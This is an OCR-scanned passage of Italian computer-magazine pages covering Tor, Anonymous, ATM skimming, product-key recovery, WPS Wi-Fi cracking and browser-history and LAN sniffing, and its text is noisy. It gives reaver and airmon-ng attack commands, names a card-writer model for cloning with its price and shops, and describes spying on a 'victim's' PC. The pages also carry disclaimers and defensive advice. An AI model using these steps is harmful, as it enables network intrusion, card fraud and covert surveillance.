Il principio di funziona¬ 
mento e configurazione 
preliminare è pressoché 
identico. 

OCCHIO ALLA 
CONDIVISIONE! 

Se abbiamo deciso di 
far parte di uno dei nodi 
della rete Tor, ovvero 
vogliamo condividere 
la nostra connessione 
con gli altri membri 
della Rete, forse è 
bene prestare un po’ 
d'attenzione in più. In 
questo caso, infatti, il 
nostro reale indirizzo 
IP verrebbe condiviso 
con gran parte della 
rete Tor: spesso, per 
evitare di essere scova¬ 
ti, i malintenzionati si 
connettono al Web uti¬ 
lizzando questa tecnica. 
Nel commettere il reato 
telematico, qualcuno 
potrebbe pur sempre 
risalire al nostro indi¬ 
rizzo IP e dimostrare 
la nostra estraneità ai 
fatti non sarebbe cosa 
da poco. 



... con Mozilla Firefox! 

I La buona riuscita dell’operazione verrà confermata da 
un messaggio nella pagina aperta automaticamente in 
Firefox. Nel campo YourIPaddress appears to be com¬ 
pare l’indirizzo IP acquisito dalla rete Tor che è diverso da quello 
assegnatoci dal nostro Internet Provider. 


In giro per il mondo 

Se vogliamo avere una chiara visione dello stato della 
nostra connessione, ritorniamo al Pannello di controllo 
Vidalia e clicchiamo sul pulsante Mostra la rete: appare 
l’intero percorso della nostra connessione che, come possiamo 
vedere, fa davvero il giro del mondo! 
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LE AZIONI PIÙ SPETTACOLARI 


Win Magazine ti svela identità e obiettivi di Anonymous, il gruppo 
hacker più chiacchierato del momento 


| Anonymous | 


2008 


2009 


ANONYMOUS 


2008 - Project Chanology 

Quando su YouTube venne pubblicato 
un video di Scientology con Tom Crui- 
se, Anonymous lancia attacchi Internet 
e organizza dimostrazioni. 


2011 - Operation Sony 

Anonymous lancia attacchi al Playstation Network dopo che So¬ 
ny aveva citato in giudizio due hacker che si occupavano di gio¬ 
chi per la console. Rimane da chiarire se Anonymous sia respon¬ 
sabile anche del furto dei dati di milioni di utenti del network. 


2010 

2010 - Operation Payback 

Anonymous attacca in particolare le istituzioni fi¬ 
nanziarie che aderiscono al blocco dei conti della 
piattaforma WikiLeaks. 


2011 


2012 


2011 - Operation Zeta 

L'azione è rivolta contro i boss messicani della droga. Quando fu 
preso un attivista come ostaggio, Anonymous minacciò di pubbli¬ 
care gli indirizzi dei signori della droga. L'attivista venne rilasciato. 


COSA VUOLE 
ANONYMOUS? 

All'inizio era soltanto una forma di protesta contro la 
setta Scientology. Poi Anonymous ha iniziato ad atti¬ 
varsi contro ogni forma di censura e contro i dittatori, 
i violatori dei diritti umani, i distruttori dell’ambiente e 
anche contro aziende private. Non tutti gli attivisti di 
Anonymous perseguono questi obiettivi, anche per¬ 
ché nessuno può parlare a nome degli attivisti stessi. 


GLI ANONYMOUS SONO 
DEI CRIMINALI? 

Non esattamente, perché Anonymous non si oc¬ 
cupa di truffe e raggiri. Anonymous vede se stes¬ 
so come un movimento sociale che si batte per la 
libertà di espressione. Ma il gruppo spesso ignora 
le leggi e molte azioni risultano quindi illegittime. 


In alcuni stati, gli attivisti sono pertanto considera¬ 
ti come un “gruppo terroristico". 


COME SI È CREATO 
ANONYMOUS? 

Anonymous ha iniziato a diventare pubblico dal 
2008, ma le origini del collettivo risalgono a molto 
prima. Circa dieci anni fa Internet cresceva in po¬ 
polarità e iniziavano a diffondersi le prime piatta¬ 
forme sulle quali venivano pubblicati testi e imma¬ 
gini in forma completamente anonima. Su queste 
piattaforme nacque Anonymous. 


CHE SIGNIFICATO 
HA LA LORO MASCHERA? 

Il volto sorridente di plastica ha notevolmente con¬ 
tribuito alla reputazione di Anonymous. È il volto 
di Guy Fawkes, colui che cercò di far esplodere il 
Parlamento britannico 400 anni fa. La maschera è 
la caratteristica distintiva degli attivisti Internet. In 


manifestazioni e messaggi video, i membri la usa¬ 
no come mimetizzazione. Anonymous ha scelto 
questo simbolo per una ragione poco storica: Nel 
film “V come Vendetta" i combattenti per la libertà 
si travestivano con questa maschera quando agi¬ 
vano contro il governo totalitario. 


CON QUALI ARMI ATTACCANO 
GLI ANONYMOUS? 

Quando Anonymous attacca su Internet, di solito lo 


Chi si nasconde 
dietro la maschera 


^ Pirati del PC 
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fa con un mirato sovraccarico di un sito Web Mi 
gliaia di computer inviano ad un sito tante richieste 
fino ad ottenere l'interruzione del servizio. Anony¬ 
mous di solito utilizza l'applicazione LOIC che può 
essere usata da migliaia di persone, ma questa la¬ 
scia tracce rivelatrici e gli attaccanti possono es¬ 
sere facilmente scovati. La nuova arma di Anony¬ 
mous, RefRef, può invece far crollare un sito Web 
sfruttando anche un solo computer e colui che uti 
lizza questo strumento software praticamente non 
può essere rintracciato 

QUANTI MEMBRI 
HA ANONYMOUS? 

Anonymous non è una sorta di club si parteci 
pa direttamente Migliaia di persone sono coinvol¬ 
te nelle azioni del gruppo e ciascuno decide da se 
a come vuol partecipare Ufficialmente, non ci so¬ 
no leader o gerarchie e questo rende molto diffici¬ 
le riconoscere se un’azione, un video o una lette¬ 
ra siano effettivamente collegati con Anonymous 

I MEMBRI DI ANONYMOUS 
SONO STATI MAI ARRESTATI? 

Si. In Spagna. Regno Unito e USA sono stati arre¬ 
stati decine di sostenitori di Anonymous In attacchi 
a siti Web sono stati registrati i loro indirizzi Inter¬ 
net (IP) e da qui il loro indirizzo reale Attualmente 
è in corso un'intensa attività investigativa da par 
te dell'FBI e dell'Interpol sul gruppo hacker Lulz 
Sec e sui presunti vertici di Anonymous, Secondo 
gli investigatori dell'FBI, lo scorso anno è caduto 
nella loro rete "Sabu'’, uno dei top hacker di Ano¬ 
nymous. Accusato di cyber-attacchi contro gran¬ 
di imprese e istituzioni governative, il ventottenne 
padre di famiglia si e pentito ed ha fornito l’identi¬ 
tà di diversi altri attivisti Anonymous, che sono sta¬ 
ti in seguito arrestati. 



COMESI INCONTRANO 
GLI ATTIVISTI ANONYMOUS? 

Soprattutto su Internet, com’è naturale. Per man¬ 
tenere anonime le conversazioni, i membri parlano 
in IRC su uno spazio protetto: qui discutono e deci¬ 
dono nuove azioni. Per inciso, anche se si dovesse¬ 
ro incontrare nella vita reale, gli utenti Anonymous 
si chiamerebbero solo con i loro nomi in codice. 






Cosi ti clono il bancomat 


Così ti clono 
il bancomat 


Basta una chiavetta USB truccata per azzerare 
il nostro conto in banca. Svelati tutti i retroscena 


Q uanto tempo occorre per fare un prelievo 
al bancomat? Un paio di minuti, forse me¬ 
no. È quanto basta ad un malvivente per 
rubarci tutti i dati necessari a clonare la carta e 
usarla al posto nostro. Ovviamente, attingendo 
dal nostro conto. Una truffa bella e buona, che 
ogni anno costa agli italiani milioni di euro. 
Eppure i sistemi bancomat, in apparenza, sem¬ 
brano dotati di tecnologie sicure e in grado di 
difenderci dai diabolici piani dei furfanti. Ma 
allora, come fanno a truffarci? 

Hi-tech e psicologia 

Le tecniche di clonazione di una carta bancomat 
sono parecchie e si evolvono col passare del 
tempo. A volte si tratta di vere e proprie trappole 
hi-tech: addirittura le bande criminali si sono 
specializzate nell’uso di strumenti sempre più 
miniaturizzati, racchiusi in quella che all'appa¬ 
renza sembra una normale pend rive USB. In altri 
casi, invece, fanno leva sul "social engineering". 
Si tratta di quell’insieme di tecniche per otte- 



I Sembrerebbe una normale 
pendrlve senza l'involucro di plastica, 
se non fosse per la microcamera che 
spunta dal lato. Basta un dispositivo 
simile facilmente acquistabile su eBay 
per clonare una carta bancomat! 


Ladri in azione: ecco la sequenza per riconoscere un bancomat manomesso 



1 Quello che sembra un normale bancomat, 
è stato in realtà manomesso da una banda 
di truffatori molto abili, che hanno occultato 
perfettamente le modifiche apportate allo 
sportello automatico. Solo un occhio attento 
sarebbe in grado di accorgersene! 


2 11 primo sospetto viene osservando il tastie- 
rino numerico. Di solito è perfettamente a 
filo con il poggiapolso dello sportello. In quello 
manomesso, invece, ha un aspetto posticcio. 
E infatti, basta rimuovere il finto pannello di 
alluminio per scoprire l’arcano. 


3 Un altro indizio sulla manomissione del 
bancomat è dato dal pannello su cui sono 
presenti le istruzioni per l’inserimento della 
carta nella fessura dello sportello automatico. 
Basta una leggera pressione per scollarlo e ri¬ 
muoverlo dalla sua sede. 
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Così ti clono il bancomat 


Pirati del PC (P* 


IL MERCATO NERO DELLA CLONAZIONE 


Un altro aspetto sconvolgente 
della truffa dei bancomat è la 
facile reperibilità del materiale 
necessario. Di fatto, le microte¬ 
lecamere sono estremamente 
diffuse e c’è solo l’imbarazzo 
della scelta. Per quanto riguar¬ 
da l'apparato di clonaggio ve¬ 
ro e proprio, gli scanner 
di bande magnetiche 
si trovano con buona 


facilità, mentre per dispositivi 
di scrittura su carte vergini si 
deve cercare con più attenzio¬ 
ne. In Rete si trovano sotto il 
nome di “magnetic card reader 
writer”, sia su eBay sia su ,_ 


appositi negozi specializzati. Il 
costo? Una sorpresa: circa 190 
dollari più le spese di spedizio¬ 
ne. Tra i modelli più gettonati, 
c’è l’MSR805. 



nere informazioni da un individuo sfruttando 
dei meccanismi psicologici. Qualunque sia la 
tecnica utilizzata, comunque, l’allarme è bello 
che lanciato: i nostri bancomat sono a rischio, 
specialmente nei luoghi di villeggiatura, presi 
d’assalto (anche) dai criminali più scaltri. 

La prudenza può non bastare 

Prima di vedere come agiscono questi truf¬ 
fatori, analizziamo la procedura necessaria 
per mettere mano ai nostri sudati risparmi. 
Inseriamo la carta nella fessura dello sportello 
automatico, digitiamo il codice segreto e, quin¬ 
di, selezioniamo le opzioni preferite, seguendo 
delle istruzioni che variano leggermente da 
banca a banca. Tempo qualche secondo ed ecco 
le banconote accompagnate da un'eventuale 
scontrino e dalla tessera stessa, che ci viene 
riconsegnata. Una serie di semplici istruzioni: 
eppure i geni del male riescono a ricavarci 
spunti molto interessanti e, purtroppo, efficaci, 
per prendersi gioco di noi! Ma se fino a poco 
tempo fa bastava un buono spirito di osserva¬ 
zione per individuare gli sportelli bancomat 
manomessi, con le nuove tecniche di truffa 


tutto questo potrebbe non bastare più. 

Scanner e videocamera 

Da qualche mese, infatti, nelle principali 
città europee (tra queste anche Milano e 
Roma), si sfrutta un apparato tecnologico 
di alto livello per clonare le carte bancomat. 

Si compone di due elementi principali: una 
micro-videocamera e uno scanner per ban¬ 
de magnetiche. La prima viene incastonata 
nella parte alta dello sportello automatico, 
aU’intemo di una barretta di alluminio che per 
colore e manifattura si camuffa perfettamente 
con il resto del bancomat. Lo scanner, invece, 
ha sostituito i vecchi e fin troppo appariscenti 
skimmer che venivano sovrapposti alla fessura 
in cui inserire la carta, per trovare posto sotto 
il pannello su cui, in tutti i bancomat, vengono 
disegnate le istruzioni per inserire la carta nella 
fessura. A dispetto dell'evoluzione tecnologica, 
il funzionamento di tutto l’apparato è molto 
semplice: l’utente inserisce la scheda, e questa, 
allo stesso tempo, viene letta a sua insaputa 
dallo scanner dei criminali. Poi il malcapitato 
digita il codice PIN mentre viene filmato dalla 



4 Ruotando il pannello di plastica scopria¬ 
mo il "cuore" del sistema truffaldino! In un 
groviglio di cavetti elettrici si individuano una 
batteria di quelle usate nei cellulari e lo scanner 
di bande magnetiche, il tutto caratterizzato da 
uno spessore davvero minimo. 


5 Manca ancora un elemento fondamentale 
del sistema di clonazione: la videocamera! 
Basta un colpetto sulla parte superiore dello 
sportello per far cadere una barra d'alluminio 
contenente la micro camera USB in grado di 
registrare la vittima mentre digita il PIN. 


videocamera. Tutto procede come al solito, 
con tanto di emissione del contante. Peccato 
che, non appena l’utente si allontana, entrano 
in azione i criminali. Gli basta recuperare i 
due dispositivi, andare in auto e, tramite un 
notebook, recuperare il PIN e il codice rilevato 
dallo scanner. Quest’ultimo, poi, viene copiato 
in una scheda vergine che diventa un clone 
perfetto di quella originale. A questo punto, il 
truffatore ha tutto quel che serve per effettuare 
il prelievo, come se si trattasse del legittimo 
cliente della banca! 
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C Pirati del PC 


Così ti recupero il seriale 

S Quali sono le operazioni da compiere prima 

di procedere con la formattazione del PC? 

V C'è un modo per estrarre dal sistema le licenze 

dei software commerciali installati? 


SERVE A CHI... 

... vuole mettere al sicuro i seriali dei 
programmi prima di passare alla 
formattazione e reinstallazione 
di Windows 


A nche se ne abbiamo cura, prima o poi il 
nostro PC inizia a comportarsi in modo 
strano. Rallentamenti, errori e programmi 
che non funzionano a dovere, sono i segni 
inconfondibili di un computer sul baratro 
della formattazione. Divenuta più sempli¬ 
ce e rapida, anche grazie agli strumenti di 
ripristino dei dati di fabbrica presenti nei PC 
preassemblati, la formattazione e la succes¬ 
siva reinstallazione del sistema operativo è 
un'operazione che si conclude in mezz'ora 
circa. Semmai, trattandosi di un intervento 
radicale che cancellerà tutto il contenuto 
dell'hard disk, sono le operazioni preliminari 
quelle che richiedono attenzione e metico¬ 
losità. Prima di formattare, per non rischiare 


di perdere anni di ricordi e di duro lavoro, è 
necessario creare un backup di foto, video, 
documenti, e-mail e altri file importanti, 
salvando il tutto in una periferica esterna 
per ripristinarli quando avremo reinstallato 
il sistema operativo. 

Un backup completo 

Creato il backup, un'ultima importante verifi¬ 
ca prima di procedere con la formattazione, è 
quella di controllare se siamo in possesso dei 
product key di Windows e di altri software 
commerciali. Infatti, se vogliamo riutilizzarli, 
ma abbiamo smarrito le confezioni o le e- 
mail contenenti i codici di attivazione, faccia¬ 
mo ancora in tempo a recuperarli dal registro 
di sistema. Questa verifica fondamentale ci 
garantirà l’attivazione dei software regolar¬ 
mente acquistati, così da poter continuare 
a utilizzarli anche dopo la reinstallazione 
del sistema operativo. Siccome non è facile 
recuperare i product key tra le migliaia di 
chiavi presenti nel registro, dobbiamo ne¬ 
cessariamente farci aiutare da un software 


come ProduKey: elementare nell'utilizzo, in 
pochi attimi estrae le informazioni necessarie 
all'attivazione dei sistemi operativi Windows 
2000, XP, Vista e 7, insieme alle product key 
di tutti gli altri software Microsoft installati 
nel computer, compresa la suite Office. Altra 
funzione importante di ProduKey è quella 
che permette di salvare le informazioni in 
un file di testo da trasferire nella periferica 
di backup. 

L'ACCHIAPPA-CODICI UNIVERSALE 

Proprio come per i prodotti Windows, anche tutti gli altri 
software archiviano i codici di attivazione nel registro di 
sistema, e il tool LicenseCrawler può estrarli tutti in pochi 
secondi. Scarichiamo e scompattiamo l'archivio presente 
all'indirizzo www.winmagazine.it/link /1681 e avviamo il 
file LicenseCrawler.exe. Premiamo il tasto corrispondente 
al numero indicato e dicchiamo su Accetta. Per avviare 
l'analisi è sufficiente cliccare su Cerca e Off allo scadere del 
conto alla rovescia. Qualora la modalità predefìnita non 
riesca a scovare tutti i product key, leviamo la spunta da 
Scansione adatta velocità e ripetiamo la ricerca. Ottenuti 
i codici non resta che cliccare su File/Salva e indicare 
destinazione e nome del file di testo che conterrà tutti i 
product key recuperati da LicenseCrawler (Salva). 


Così estrai dai registro di sistema i codici di attivazione dei prodotti Windows 



1 ProduKey è presente sul Win CD-Rom. Estrat¬ 
to l'archivio, otterremo due cartelle: Pro¬ 
duKey e ProduKey-x64. Apriamo la cartella 
corrispondente all'architettura del nostro OS e 
avviamo il file ProduKey.exe che non richiede 
installazione. 


2 L'interfaccia elencherà i prodotti Windows 
installati e il loro product key. Usiamo la 
combinazione di tasti Ctrl+A per selezionare 
tute le voci, quindi pigiamo Ctrl+S per indicare 
dove salvare il file di testo contenente le infor¬ 
mazioni per l'attivazione dei prodotti (Salva). 


3 Premendo F9 visualizzeremo le opzioni 
avanzate di ProduKey. Selezionando la rela¬ 
tiva opzione (OK), possiamo estrarre i product 
key da qualunque installazione di Windows 
presente su hard disk collegati al computer o 
in rete locale. 
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C Pirati del PC 


| Il Wi-Fi ha fatto crack! | 


ADSL oicitìs col 

_| h| mh H mBACKTRACK 

maI VAIDC 

■■ MF www^backfrack-linijx.org 

TOOL DI CRACKING 

. . . . . . . .. . o . REAVER-WPS 

Le nuove tecniche dei pirati per navigare a scrocco. Sei y.» 
sicuro che il tuo router non sia a rischio? Scoprilo subito! corri/p/reaver-wps 


P er semplificare il più possibile 
la vita degli utenti informatici 
che debbono configurare l’ac¬ 
cesso ad un router Wi-Fi, i produttori 
hardware hanno implementato sui 
loro prodotti il protocollo di sicurezza 
WPS, acronimo di Wi-Fi Protected 
Setup. L’obiettivo di questo sistema è 
quello di attivare automaticamente la 
connessione tra il computer e l’Access 
Point richiedendo all'utente di digita¬ 
re solo un PIN (un codice numerico). 
Dopo questa prima connessione, le 
periferiche si scambieranno tutte le 
successive informazioni necessarie 
al collegamento, senza che sia richie¬ 
sto un ulteriore intervento umano. 
Detto così sembrerebbe un’opzione 
comodissima e proprio per questo 


motivo sono molte le periferiche che 
la implementano, ma purtroppo da 
poco tempo si è scoperta la possibi¬ 
lità di violare tale protocollo e questo 
significa che diventa possibile acce¬ 
dere alla rete senza autorizzazione e 
in relativamente poco tempo. 

Attacco in atto 

Senza entrare troppo nei dettagli 
tecnici, la violazione avviene invian¬ 
do al sistema tutti i codici PIN pos¬ 
sibili (un attacco detto brute force, 
forza bruta) fino a quando non si 
trova quello giusto. Questo codice 
è di 8 cifre e quindi in linea teorica 
potrebbero esserci 108 (100 milioni) 
combinazioni da provare; ma poiché 
il protocollo, inviata la quarta cifra, 


avvisa il Client se la prima parte del 
PIN è corretta, il numero di possibili 
sequenze scende a 11.000. Un valo¬ 
re molto basso che permette ad un 
qualsiasi computer, con l’ausilio di 
un apposito programma, di effet¬ 
tuare con successo l’identificazione 
del PIN in poche ore. Ovviamente 
non tutti i router Wi-Fi ne sono af¬ 
fetti, né quelli che implementano 
tale meccanismo lo rendono attivo 
di default. Inoltre alcuni router po¬ 
trebbero rendersi conto, dopo una 
serie di tentativi, che vi sia un attac¬ 
co in corso e quindi disabilitare tale 
funzione. Vediamo allora di capire 
come funziona l’attacco di un ha¬ 
cker e quali soluzioni adottare per 
correre ai ripari. 



MAI ATTACCARE 
LE RETI ALTRUI 


Ovviamente, grazie ai 
programmi reperibili in 
rete, è possibile provare 
in prima persona a vio¬ 
lare la propria rete, ma 
è importante ricordare 
che solo questa può 
essere oggetto di prova. 
In nessun caso si deve 
mai tentare di accedere 
alle reti di altri senza 
autorizzazione. Sembra 
scontato, ma è sempre 
bene ricordarlo! 


ECCO COME L'HACKER SFERRA L'ATTACCO AD UNA RETE WI-FI 

Ad un malintenzionato basta un computer con _,__ ^ ® 

GNII/lin.ivon,,^_ , .. I 5 ---| imposta la 


Ad un malintenzionato basta un computer con 
GNU/Linux e qualche programma facilmente 
reperibile su Internet per violare la nostra rete in 
poche ore. Innanzitutto, il pirata scarica quindi 
un software in grado di implementare un at¬ 
tacco di tipo brute-force: quello più famoso ed 
efficiente negli attacchi alle reti Wi-Fi si chiama 
reaver-wps ed è open source, quindi compieta- 
mente gratuito. Dalla pagina del progetto http:// 
code.google.com/p/reaver-wps, il pirata clicca 
su Download per scaricare l'archivio compresso 
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in formato TAR.GZ. 

Il pirata provvede quindi a scompattare il pac¬ 
chetto con il comando tar xvfz reaver-1 Atar.gz. 
Spostandosi nella cartella sre crea quindi l'ese¬ 
guibile digitando i comandi: JconUgure, make 
e sudo make instali, seguiti da Invio. Durante 
la fase di configurazione gli vengono mostrate 
eventuali librerie mancanti, cosicché può pro¬ 
cedere anche con la loro installazione. 

Prima di poter utilizzare il programma, il pirata 


imposta la scheda wireless del suo computer in 
una modalità detta "di monitor": in pratica, fa 
in modo che la scheda si metta in ascolto per 
intercettare i dati scambiati sulla rete Wi-Fi posta 
sotto attacco. Per raggiungere il suo scopo, il 
pirata installa il programma aircrack-ng che 
ha precedentemente scaricato dal sito www. 
aircrack-ng.org. Dopodiché, non gli rimane 
altro da fare che eseguire il comando airmon- 
ng start wlanO .Ogni router individuato dal 
software viene identificato, in maniera univoca. 










Il Wi-Fi ha fatto crack! | 


Pirati del PCf* 



Testa la sicurezza della tua Rete 


Per prima cosa bisogna scoprire se il proprio punto di accesso Wi-Fi è vulnerabile ad eventuali attacchi che 
sfruttino la debolezza del protocollo WPS e solo dopo provvedere eventualmente alla sua messa in sicurezza. 




wps vulneraòtMy | 

wps vutneratMhty tMting 

wps vulnerabikty Unfcsyt 

wpa wdnerabàty scanner 

wps vuÉnerabtWy appiè 

wps wineraMity netgear 

wps vulneraMrTy appiè airport extreme 

wps vulnerabtiity spreadsheet 

wps vuineraMtty airport extreme 

wps vuèr>erab*ty tool 




Il router usa il WPS? 

■| | Per scoprire se il router implementa il 
meccanismo di sicurezza basato sul 
WPS e se è vulnerabile, visitiamo una pagina 
Web che elenca i risultati di alcuni test di vul¬ 
nerabilità effettuati con reaver-wps. Dal sito 
www.winmagazine.it/link/1340 cucchiamo il 
link subito sotto la dicitura WPS Vulnerabili- 
ty Database. 



Aggiornamenti disponibili 


2 1 1 produttori hardware sono particolar- 
1 mente attenti alla sicurezza dei propri 
dispositivi: è facile, quindi, che le procedu¬ 
re necessarie per aggirare il problema sia¬ 
no chiaramente spiegate sui loro siti. Anche 
i motori di ricerca ci possono venire in aiuto: 
basta cercare il nome del produttore più WPS 
vulnerability. 


^ Disabilitiamo la funzione 

2 ! Una delle soluzioni più sicure consi- 
ste nel disabilitare il protocollo WPS. 
La procedura differisce da modello a model¬ 
lo ma in genere bisogna collegarsi all'inter¬ 
faccia Web di gestione del router e cercare 
le impostazioni WPS - PtN Nuovamente, è 
anche in questo caso il sito del produttore che 
spiega come procedere. 



mediante un BSSID, cioè un indirizzo hardware 
non modificabile assegnato al suo hardware. 
Questo parametro è fondamentale per dirigere 
correttamente i pacchetti verso il destinata- 
rio prescelto. Tale valore si trova spesso su 
di un'etichetta del router stesso. Per poter 
attaccare il router, ai programma reaver-wps 
il pirata deve solo indicare quale interfaccia 
(scheda di rete Wi-Fi) usare e l'identificativo 
BSSID estratto in precedenza. Il comando per 
fare ciò è molto semplice: reaver -i mono -b 
XX:XX:XX:XX:XX:XX dove alle X vanno sosti¬ 
tuiti i valori del BSSID. Una volta premuto 
Invio, al pirata non rimane altro da fare che 
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aspettare che reaver-wps faccia il suo dovere. 
Per poter velocizzare la ricerca e fare in modo 
che l'attacco non venga bloccato, il pirata 
agisce anche su alcuni parametri aggiuntivi 
di reaver-wps, come ad esempio quello che 
permette di ridurre il ritardo tra l’invio di 
un pacchetto e l’altro. Per cono- 
scere tutti i parametri, gli basta V 
digitare il comando reaver senza \ 
alcuna opzione. 


UH® 

PREREQUI SITI 
FONDAMENTALI 

Per poter eseguire reaver- 
wps è fondamentale che 
sul computer con GNU/ 

Linux siano presenti il 
sistema di sviluppo base, 
le librerie libprapdevtl 
e sqlite-devel, e die lo 
stesso abbia una scheda 
wireless compatibile. 

Per supplire alle man¬ 
canze software basta 
installare! programmi 
con il package manager 
della distribuzione, men¬ 
tre per conoscere l'elenco 
delle schede che riescono 
a svolgere tale compito si 
può consultare la pagina 
Web www.winmagazine. 
it/Iink/1339. 
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C* Pirati del PC 


L'aspira password 




• '*OWT*_ 


ira password 
Wm dal Web 


Scovato un tool che, come una 
microspia installata nel PC, rivela 
password, foto e video privati 


«n» 






Cosa ci 

occorre ^ 3 / 

SOFTWARE DI DIGfTAL 
FORENSICS 

HISTORY 

VIEWER 

Lo trovi su: 0 CD 


SOFTWARE COMPLETO 


Sito Internet 

www.historyviewer.net 

SNIFFER DI RETE 

VLADESCU 

Lo trovi su: S 3 CD 

Sito Internet: 

www.rostudent.com/ 

robert/VLADescu.html 

SNIFFER DI RETE 
LOCALE 

HTTP WATCH 

Lo trovi su: i?CD 


SOFTWARE COMRETO 


Sito internet 

www.httpwatch.com 


S pesso si tende a considerare il compu¬ 
ter, specialmente quando si naviga nella 
tranquillità di casa, come capace di pre¬ 
servare al massimo la nostra privacy: in realtà, 
estrarre informazioni e dati sensibili, relativi 
proprio alla navigazione Internet, è molto più 
semplice di quanto si possa pensare. Scoprire 
cosa stia facendo o abbia fatto un internauta 
durante l’uso della Rete è un lavoro che, con 
gli appositi programmi, richiede ad un hacker 
ben poco tempo. Imparare però a conoscere le 
tecniche per accedere a questi dati non è solo un 
compito da pirata informatico, ma può essere 
utile a tutti proprio per capire come difendersi. 

Come segugi sul Web 

La caccia ai nostri dati di navigazione avverrà 
in due modalità. La prima è detta “Off-line" e 
consiste nell’analizzare determinate tracce che 
vengono lasciate da tutti i browser Internet. 
Questa procedura permette di consultare i 
dati anche a distanza di tempo dal momen¬ 
to in cui si è svolta la navigazione, ma come 
contropartita richiede che si possa accedere 
al disco del PC, cosa sicuramente possibile 
in un ambiente condiviso, come ad esempio 
la LAN di casa. La seconda modalità si basa 
invece su un'analisi in tempo reale del traffico 
di rete usando un computer diverso da quello 
che si vuole controllare. Tale tecnica è detta 
di sniffing, cioè d’intercettazione dei dati che 
passano sulla rete e che possono essere memo¬ 
rizzati sul computer della spia. Sicuramente 
più complessa ma anche più insidiosa, visto 
che può essere svolta da remoto. Non ci rima¬ 
ne quindi che passare all’atto pratico: prima, 
però, è bene ricordare che non è assolutamente 
lecito intercettare il traffico altrui o analizzare 
computer senza le autorizzazioni del legittimo 
proprietario. Pertanto l’unico nostro obiettivo 
è quello di scoprire le criticità della propria rete 
per metterla in sicurezza. 













L'aspira password 


Pirati del PCO 


Accedere alla cronologia Web 

»*.»aasa«ìs :!s,< ® r 



:-n ••e n d ar «•«» < »»r **** ** t * ew * a * 

» autore InstriaOon t^veoafi; 

Mrt» **^SWt bv mcredOar my de%it sertJ’crostder 

Mri»MySrirtby IncredBar my hortepage 
metri mende» 

By ckSmg «tri you »e agrewig » •* •»** °* ^ ** ‘** acy polcv 


_ <tod : 


^ Prepariamo il segugio 

■i f Scompattiamo l'archivio NetworkMiner.zip 
JU (scaricabile dal Win CD-Rom) ed eseguiamo 
il file hvsetup.exe per installare HistoryViewer. Se il 
nostro utente non possiede i privilegi di amministra¬ 
tore selezioniamo il file col tasto destro del mouse e 
cucchiamo Esegui come amministratore. 


^ Niente software aggiuntivi 

O j Rispondiamo Sì per consentire al program¬ 
mi ma di apportare modifiche al PC: apparirà il 
wizard d’installazione. Clicchiamo Next, accettiamo 
la licenza d'uso (/ accept. ..), poi scegliamo la voce 
Custom Instaliation e leviamo le spunte per evita¬ 
re di installare IncrediBar come provider di ricerca. 



-Srfuoh* fr*neC nstring ^tor> .*-»«• or ytxr awtr 

The appfcceson ma, be lamOted by setecwc re «tari 


Odt Fnah ® ewt Seti© 


gg L*«Ji mtory Wewer 
jgv»ew*har*Ne» 


^ impostazioni predefinite 

q | Definiamo la cartella in cui installare il pro- 
gramma e consentiamo la creazione dell'ico¬ 
na del programma sul Desktop. Giunti alla pagina del 
riepilogo, clicchiamo sul pulsante Instati per ultima¬ 
re la procedura guidata. Al termine, clicchiamo su 
Finish npr avviare automaticamente i' 





£ Esecuzione automatica 

1 

Pannello di controllo 

Ji Giochi 



^ HistoryViewer 


Dispositivi e stampanti 

00 HistoryViewer 



ife Lrvellpdate 


Programmi predefiniti 

0 Uninstall History Viewer 



£ HttpWatch Basic Edition 


Guida e supporto tecnico 

i Indietro 


Sicurezza di Windows 

11 Cerco progromm e ftte fi 




1. „ I 



.x Siamo pronti ad onerare 

4 Al termine dell’Installazione il software vie- 
•mJ ne eseguito direttamente; in caso non si 
sia scelta tale opzione oppure ogni volta che lo 
si desidera richiamare basterà cliccare due volte 
sull'icona History Viewer del Desktop oppure sele¬ 
zionare la voce di menu Start/Tutti i programmi/ 
History Viewer. 


^ La schermata principale 

§ I La finestra di HistoryViewer è divisa in due 
zone principali. Sulla sinistra sono presen¬ 
ti i diversi elementi che possono essere analizzati, 
suddivisi in 4 categorie: tre relative ai browser (IE, 
Firefox e Google Chrome) e una per Windows. Per 
ognuna di esse vengono elencati i dati che pos¬ 
siamo estrarre. 


^ Uno sguardo alle URL 

0 ? Per consultare l’elenco dei siti visitati di 
w recente clicchiamo su URL history. Appe¬ 
na attivato questo elemento compariranno, sulla 
destra, la cronologia Web dell’utente. Trascinan¬ 
do la barra che si trova in basso vedremo anche 
il titolo delle singole pagine e l’ultima volta che è 
stata visitata. 



^ Cookies e file scaricati 

7 1 Anche i biscotti informatici e i file scaricati 
*•—* sul computer locale possono essere analiz¬ 
zati. I Cookies sono disponibili e quindi consultabili 
per tutti e tre i browser supportati dal programma, 
mentre i dati di download sono limitati alle ope¬ 
razioni svolte con Firefox e con Google Chrome. 



Creiamo un report 

g | Con i dati estratti possiamo creare un report 
w per consultare con maggiore calma le infor¬ 
mazioni. Per generarlo clicchiamo Create Report in 
Report. Poi nella finestra di dialogo spuntiamo le voci 
che vogliamo includere, scegliamo il nome e il luo¬ 
go in cui salvarlo e premiamo Start Create Report. 



1*1 >a C oda»_ 




- --<V— 


--- 


=" 


^TTv X 

? 

§~~ 


RISULTATO FINALE Ecco il report generato da History 
Viewer: oltre al nome del PC e dell'utente che lo sta 
usando, sono presenti i link per accedere alle varie 
sezioni che si trovano nel documento e scoprire cosi le 
attività svolte su Internet dalla vittima. ► 
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L'aspira password 


3 Lo sniffing si fa in LAN 

i dati chetaS^sul^rotocdloTTT^ocate!'E^ro™ fertocoffinfeT' 6 ' P " mipassi analizzand0 


r ? 


Sà 


' 


-, ^ Tl 

I JÈÈ; 

| HttpWatch 

. BaseEdflton 

HttpWatch 8.0 Setup Wizard 

su»'sss&r* 

P, •*> ****** betotHértry suo TH..***.,, 

j _ LJWAàJ _ ««“Llj I 


Strumento indispensabile 

\ f Per installare HTTPWatch sul PC della vitti- 

ma connesso in LAN, eseguiamo il file http- 
watch.exe che troviamo nell'archivio NetworkMI- 
ner.zip (scaricabile dal Win CD-ROM). Se il nostro 
utente non possiede i privilegi di amministratore 
selezioniamolo col tasto destro del mouse e cuc¬ 
chiamo Esegui come amministratore. 


Abilitazioni selettive 

2 | Se richiesto, cicchiamo S/per consentire 
al programma di apportare modifiche al 
sistema. Accettiamo la licenza d'uso. Nel passag¬ 
gio successivo non abilitiamo il plug-in per FireFox 
(leviamo la spunta), lasciamo inalterata la cartella 
d’installazione di default e cucchiamo Instali per 
procedere. 


Attiviamo il plug-in 

